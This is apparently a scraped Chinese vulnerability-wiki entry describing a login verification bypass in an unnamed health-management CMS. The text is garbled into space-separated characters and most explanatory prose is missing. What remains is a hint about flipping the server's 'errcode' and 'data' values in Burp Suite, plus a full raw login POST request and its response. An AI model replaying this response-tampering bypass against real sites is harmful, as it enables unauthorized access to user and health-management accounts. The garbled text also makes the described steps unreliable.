[7646] 2021-08-08_某某健康管理CMS存在登录验证绕过

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-17
2021-08-08_某某健康管理CMS存在登录验证绕过 C M S   F 1 2 s e c   2 0 2 1 - 0 8 - 0 8         C M S . 便 b u r p   s u i t e e r r c o d e 0 , d a t a t r u e P O S T   / F r a m e W e b / F r a m e S e r v i c e / M a i n . a s h x ? o p t i o n = f u n c & f u n c i d = l o g i n   H T T P / 1 . 1 H o s t :   1 2 7 . 0 . 0 . 1 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ;   r v : 9 0 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 9 0 . 0 A c c e p t :   a p p l i c a t i o n / j s o n ,   t e x t / p l a i n ,   * / * A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , z h - T W ; q = 0 . 7 , z h - H K ; q = 0 . 5 , e n - U S ; q = 0 . 3 , e n ; q = 0 . 2 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n ; c h a r s e t = u t f - 8 C o n t e n t - L e n g t h :   2 0 0 O r i g i n :   h t t p : / / 1 2 7 . 0 . 0 . 1 C o n n e c t i o n :   c l o s e R e f e r e r :   h t t p : / / 1 2 7 . 0 . 0 . 1 / F r a m e W e b / F r a m e V i e w / L o g i n / L o g i n . h t m l C o o k i e :   J S E S S I O N I D = B 8 7 0 7 6 6 7 A 9 1 C A 3 E 1 5 6 4 1 5 8 F 4 1 1 2 1 5 8 B 5 ;   a c c o u n t = a d m i n ;   m o b i l e = 1 3 8 0 0 0 0 0 0 0 0 ;   c h k p w d = f a l s e ;   e m p l o y e e N a m e = a d m i n ;   j o b N a m e = % E 8 % B 6 % 8 5 % E 7 % B A % A 7 % E 7 % A E % A 1 % E 7 % 9 0 % 8 6 % E 5 % 9 1 % 9 8 ;   g e n e r a l T y p e = 2 { " _ d a t a i d " : " l o g i n " , " _ t y p e " : " " , " _ d a t a t y p e " : " t e x t " , " _ p a r a m " : { " A c c o u n t " : " 1 2 3 a b c " , " P h o n e " : " 1 3 8 0 0 0 0 0 0 0 0 " , " P w d " : " 1 2 3 4 5 6 " } , " _ t i m e s t a m p " : 1 6 2 7 6 6 0 6 8 4 , " f u n c i d " : " l o g i n " , " _ s i g n " : " e 0 5 b 0 0 c 8 e 1 7 1 f 6 8 9 0 a e 3 7 5 3 9 0 3 7 b e a 6 1 " H T T P / 1 . 1   2 0 0   S e r v e r :   n g i n x D a t e :   F r i ,   3 0   J u l   2 0 2 1   1 6 : 0 0 : 3 3   G M T C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n ; c h a r s e t = U T F - 8 C o n t e n t - L e n g t h :   4 7 C o n n e c t i o n :   c l o s e A c c e s s - C o n t r o l - A l l o w - C r e d e n t i a l s :   t r u e A c c e s s - C o n t r o l - A l l o w - O r i g i n :   h t t p : / / 3 9 . 1 0 7 . 1 9 2 . 1 7 1 V a r y :   O r i g i n A c c e s s - C o n t r o l - E x p o s e - H e a d e r s :   S e t - C o o k i e { " e r r c o d e " : " 1 " , " e r r m s g " : " " , d a t a : { } }
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则